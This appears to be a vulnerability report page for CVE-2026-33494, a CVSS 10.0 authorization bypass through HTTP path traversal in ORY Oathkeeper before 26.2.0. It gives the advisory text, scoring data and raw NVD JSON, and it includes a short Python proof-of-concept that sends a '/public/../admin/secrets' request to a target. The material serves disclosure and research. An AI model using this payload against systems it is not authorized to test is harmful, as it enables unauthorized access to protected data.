Security Vulnerability Report
中文
CVE-2026-33494 CVSS 10.0 CRITICAL

CVE-2026-33494

Published: 2026-03-26 18:16:30
Last Modified: 2026-04-07 21:15:14

Description

ORY Oathkeeper is an Identity & Access Proxy (IAP) and Access Control Decision API that authorizes HTTP requests based on sets of Access Rules. Versions prior to 26.2.0 are vulnerable to an authorization bypass via HTTP path traversal. An attacker can craft a URL containing path traversal sequences (e.g. `/public/../admin/secrets`) that resolves to a protected path after normalization, but is matched against a permissive rule because the raw, un-normalized path is used during rule evaluation. Version 26.2.0 contains a patch.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ory:oathkeeper:*:*:*:*:*:*:*:* - VULNERABLE
ORY Oathkeeper < 26.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-33494: ORY Oathkeeper Authorization Bypass # This script demonstrates how a path traversal sequence can bypass access rules. import requests def check_vulnerability(target_url): # Scenario: /public is an allowed path, /admin is restricted # The attack payload uses path traversal to reach /admin payload_path = "/public/../admin/secrets" full_url = f"{target_url.rstrip('/')}{payload_path}" print(f"[+] Sending request to: {full_url}") try: response = requests.get(full_url, timeout=10) # Check if the request was successful (indicating a bypass) if response.status_code == 200: print("[!] Potential Vulnerability Detected!") print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Content Preview: {response.text[:200]}") else: print(f"[-] Access Denied or Patched. Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:4456" # Replace with actual target check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33494", "sourceIdentifier": "[email protected]", "published": "2026-03-26T18:16:30.400", "lastModified": "2026-04-07T21:15:14.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ORY Oathkeeper is an Identity & Access Proxy (IAP) and Access Control Decision API that authorizes HTTP requests based on sets of Access Rules. Versions prior to 26.2.0 are vulnerable to an authorization bypass via HTTP path traversal. An attacker can craft a URL containing path traversal sequences (e.g. `/public/../admin/secrets`) that resolves to a protected path after normalization, but is matched against a permissive rule because the raw, un-normalized path is used during rule evaluation. Version 26.2.0 contains a patch."}, {"lang": "es", "value": "ORY Oathkeeper es un proxy de identidad y acceso (IAP) y una API de decisión de control de acceso que autoriza solicitudes HTTP basándose en conjuntos de reglas de acceso. Las versiones anteriores a la 26.2.0 son vulnerables a una omisión de autorización a través de un salto de ruta HTTP. Un atacante puede crear una URL que contenga secuencias de salto de ruta (por ejemplo, '/public/../admin/secrets') que se resuelva en una ruta protegida después de la normalización, pero que se compare con una regla permisiva porque la ruta sin procesar y sin normalizar se utiliza durante la evaluación de la regla. La versión 26.2.0 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-23"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ory:oathkeeper:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2.0", "matchCriteriaId": "657854A7-D847-40E5-9771-601F5BF0FDA4"}]}]}], "references": [{"url": "https://github.com/ory/oathkeeper/commit/8e0002140491c592db41fa141dc6ad68f417e2b2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ory/oathkeeper/security/advisories/GHSA-p224-6x5r-fjpm", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}